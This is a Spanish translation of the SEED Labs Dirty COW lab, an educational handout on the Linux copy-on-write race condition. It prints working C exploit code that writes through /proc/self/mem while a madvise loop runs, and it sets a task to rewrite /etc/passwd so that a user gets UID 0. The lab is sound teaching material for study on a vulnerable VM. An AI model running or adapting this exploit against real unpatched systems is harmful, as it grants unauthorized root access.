Laboratorio del Ataque Dirty COW

1 Descripción General

El Ataque de Dirty COW es un caso interesante de una vulnerabilidad de race condition. Existe en el kernel de `Linux` desde Septiembre del 2007, fue descubierta y explotada en Octubre de 2016. Esta vulnerabilidad afecta a todos los sistemas operativos `Linux`-based incluyendo Android y su impacto en bastante grave: los atacantes pueden obtener privilegios de root explotando esta condición. Esta vulnerbilidad reside en el código dentro del kernel de `Linux` en el mecanismo de copy-on-write (COW). Explotando esta vulnerabilidad los atacantes pueden modificar cualquier archivo protegido incluso archivos que son de sólo lectura.

El objetivo de este laboratorioo es que los estudiantes ganen experiencia en el ataque de la vulnerabilidad Dirty COW como así puedan entender la vulnerabilidad y su forma de explotarla. En estte laboratorio loos estudiantes explotarán esta condición de carrera y podrán obtener privilegios de root.

Lecturas y Videos. Para una cobertura más detallada en el ataque de Dirty COW puede consultar

- Capítulo 8 del libro de SEED, *Computer & Internet Security: A Hands-on Approach*, 2nd Edition, by Wenliang Du. Para más detalles `https://www.handsonsecurity.net`.
- Sección 7 del curso de SEED en Udemy, *Computer Security: A Hands-on Approach*, by Wenliang Du. Para más detalles `https://www.handsonsecurity.net/video.html`.

Entorno de Laboratorio. Este laboratorio ha sido probado en nuestra Máquina Virtual Ubuntu 12.04 que puede ser descargada del sitio oficial de SEED. Si ud. está usando SEEDUbuntu 16.04 VM, este ataque no funcionará, debido a que está vulnerabilidad ha sido corregida en el kernel que corre esta VM. Puede descargar nuestra Máquina Virtual SEEDUbuntu12.04 del sitio web de SEED o si posee una cuenta EC2 en Amazon puede hacerlo desde "Community AMIs". El nombre de esta máquina virtual es `SEEDUbuntu12.04-Generic`. Cabe aclarar que Amazon clasifica a esta Máquina Virtual como de 64-bits esto no es correcto. La Máquina Virtual es de 32-bits. Sin embargo esta información errónea no causa ningún tipo de problemas.

2 Tarea 1: Modificar un archivo de prueba de sólo lectura

El objetivo de esta tarea es escribir en un archivo de sólo lectura usando la vulnerabilidad de Dirty COW.

2.1 Crear un archivo de prueba

Primero necesitamos seleccionar el archivo objetivo. Aunque este archivo puede ser cualquiera que sea de sólo lectura y que pertenezca al sistema, usaremos un archivo de prueba, y de esta forma evitaremos corromper un archivo de importancia en caso que algo salga mal. Por favor cree un archivo con el nombre `zzz` en el directorio de root, cambie los permisos del archivo a sóloolecttura para los usuarios no privilegiados y inserte algún contenido dentro del mismo, puede usar `gedit` para editar el archivo.

```
$ sudo touch /zzz
$ sudo chmod 644 /zzz
$ sudo gedit /zzz
$ cat /zzz
111111222222333333
$ ls -l /zzz
-rw-r--r-- 1 root root 19 Oct 18 22:03 /zzz
$ echo 99999 > /zzz
bash: /zzz: Permission denied
```

Dado el experimento anterior. Podemos observar que si tratamos de escribir en este archivo como un usuario no privilegiado, no podremos, esto se debe a que el archivo es de sólo lectura para usuarios normales. Sin embargo, usando la vulnerabilidad Dirty COW, podemos encontrar la forma de escribir en este archivo aunque sea de sólo lectura para nosotros. Nuestro objetivo será reemplazar el patrón "222222" con "******".

2.2 Configurando el Thread de Mapeo en Memoria

Puede descargar el programa cow_attack.c del sitio web del laboratorio. Este programa utiliza tres threads: el thread principal, el thread de escritura y el thread madvise. El thread principal mapea el archivo /zzz en memoria, encuenttra donde se ubica el patrón "222222" y crea dos threads para explotar la vulnerabilidad Dirty COW en el kernel del sistema operativo.

Listing 1: The main thread

```
/* cow_attack.c  (the main thread) */

#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;

int main(int argc, char *argv[])
{
  pthread_t pth1,pth2;
  struct stat st;
  int file_size;

  // Open the target file in the read-only mode.
  int f=open("/zzz", O_RDONLY);

  // Map the file to COW memory using MAP_PRIVATE.
  fstat(f, &st);
  file_size = st.st_size;
  map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

  // Find the position of the target area
  char *position = strstr(map, "222222");                    ①

  // We have to do the attack using two threads.
```

```
  pthread_create(&pth1, NULL, madviseThread, (void  *)file_size); ②
  pthread_create(&pth2, NULL, writeThread, position);             ③

  // Wait for the threads to finish.
  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);
  return 0;
}
```

En el código anterior, necesitamos encontrar donde se ubica el patróon `"222222"`, esto lo hacemos uando una función de cadena llamada `strstr()` que nos devuelve la locación en memoria donde está el patrón `"222222"` (Línea ①). Luego se disparan dos thrads: el `madviseThread` (Línea ②) y el `writeThread` (Línea ③).

2.3 Configurando el thread `write`

El trabajo del thread `write` is reemplazar en memoria la cadena `"222222"` con `"******"`. Debido a que la memoria mapeada es de tipo COW, este thread solamente podrá modificar el contenido en una copia de la memoria mapeada que no causará ningún cambio en el archivo `/zzz`.

Listing 2: The `write` thread

```
/* cow_attack.c (the write thread) */

void *writeThread(void *arg)
{
  char *content= "******";
  off_t offset = (off_t) arg;

  int f=open("/proc/self/mem", O_RDWR);
  while(1) {
    // Move the file pointer to the corresponding position.
    lseek(f, offset, SEEK_SET);
    // Write to the memory.
    write(f, content, strlen(content));
  }
}
```

2.4 El Thread `madvise`

El thread `madvise` hace sólo una cosa: descarta la copia privada de la memooria mapeada para que la tabla de páginas apunte nuevamente a la memoria mapeada originalmente.

Listing 3: The `madvise` thread

```
/* cow_attack.c (the madvise thread) */

void *madviseThread(void *arg)
{
  int file_size = (int) arg;
  while(1){
      madvise(map, file_size, MADV_DONTNEED);
  }
```

```
}
```

2.5 Lanzar el Ataque

Si las llamadas al sistema `write()` y `madvise()` son invocadas alternadas, es decir, una es invocada una vez que la otra termina, la operación`write` siempre se hará sobre la copia privada de memoria y nunca se modificará nuestro archivo original. Para que nuestro ataque sea exitoso, es invocar a la llamada al sistema `madvise()` mientras que `write()` está en ejecución. No siempre será posible esto, por lo que debemos de tratar el ataque varias veces. Siempre y cuando nuestra probabilidad no sea muy baja, tenemos una chance de explotar la vulnerabilidad. Es por eso que en los threads ejecutamos las llamadas al sistemas en un loop infinito. Compile `cow_attack.c` y corralo durante unos segundos. Si su ataque es exitoso, debería de ver las modificaciones en el archivo `/zzz`. Escriba sus resultados en el informe del laboratorioo y explique como logró hacerlo.

```
$ gcc cow_attack.c -lpthread
$ a.out
  ... press Ctrl-C after a few seconds ...
```

3 Tarea 2: Modificar el archivo de password para obtener privilegios de root

Ahora, lanzaremos el ataque sobre un archivo real del sistema de esta forma podremos obtener privilegios de root. Hemos elegido el archivo `/etc/passwd` como archivo a atacar. Este archivo tiene permisos de lectura para todo el mundo, pero solamente el usuario root puede modificarlo. Este archivo contiene información sobre las cuentas de usuarios del sistema, un registro por usuario. Asuma que nuestro nombre de usuario es `seed`. Las siguientes líneas muestran los registros para el usuario root y el usuario `seed`:

```
root:x:0:0:root:/root:/bin/bash
seed:x:1000:1000:Seed,123,,:/home/seed:/bin/bash
```

Cada registro del fragmento mostrado anteriormente, contiene siete campos separados por dos puntos. Nuestro interés se enfoca en el tercer campo que especifica el valor del user ID del usuario. El UID o user ID es el primer control básico de seguridad para el acceso en `Linux`, este valor es crítico en términos de seguridad. El usuario root contiene un UID especial cuyo valor es 0; eso es lo que lo hace superusuario, y no su nombre. Cualquier usuario con UID `0` es tratado por el sistema como un usuario root sin importar cual sea su nombre de usuario. El UID del usuario `seed` es `1000`, por lo que no tiene privilegios de root. Sin embargo si logramos cambiarlo a `0` podremos hacer que este usuario sea root. Para lograr esto explotaremos la vulnerabilidad de Dirty COW.

En nuestro experimento, no usaremos la cuenta `seed`, porque esta cuenta es usada en la mayoría de nuestros experimentos en el libro; si olvidamos cambiar el UID de esta cuenta al original después de este experimento, otros experimentos se verán afectados. En cambio hemos creado una nueva cuenta llamada `charlie` y haremos que esta cuenta de usuario normal gane privilegios de root a través de la explotación de la vulnerabiliad de Dirty COW.

Puede agregar una nueva cuenta en el sistema usando el comando `adduser`. Una vez que la cuenta haya sido agregada un nuevo registro se creará en el archivo `/etc/passwd`, a continuación se detalla el procedimiento:

```
$ sudo adduser charlie
```

```
  ...
$ cat /etc/passwd | grep charlie
charlie:x:1001:1001:,,,:/home/charlie:/bin/bash
```

Sugerimos que haga una copia del archivo `/etc/passwd`, por si en medio del experimento surge algún problema y este archivo se corrompe. Otra alternativa es hacer un snapshot de la Máquina Virtual antes de empezar a trabajar en el laboratorio que sirva de backup.

Tarea: Debe modificar la entradda del usuario `charlie` en el archivo `/etc/passwd`, de forma tal que el tercer campo de la entrada cuyo valor es `1001` sea `0000`, de esta forma hará que el usuario charlie tenga privilegios de root. Este archivo no puede ser escrito por el usuario `charlie`, pero podemos usar el ataque de Dirty COW para escribir en el mismo. Puede modificar el programa `cow_attack.c` de la tarea 1 para lograr este objetivo.

Después que el ataque haya sido exitoso, debe de switchear al usuario `charlie` y debería de ver el signo # en la consola shell, lo que es indicador que es una shell de root. Si ud. ejecuta el comando `id`, debería de observar que obtuvo privilegios de root.

```
seed@ubuntu$ su charlie
Passwd:
root@ubuntu# id
uid=0(root) gid=1001(charlie) groups=0(root),1001(charlie)
```

4 Informe del Laboratorio

Debe enviar un informe de laboratorio detallado, con capturas de pantalla, para describir lo que ha hecho y lo que ha observado. También debe proporcionar una explicación a las observaciones que sean interesantes o sorprendentes. Enumere también los fragmentos de código más importantes seguidos de una explicación. No recibirán créditos aquellos fragmentos de códigos que no sean explicados.

Agradecimientos

Este documento ha sido traducido al Español por Facundo Fontana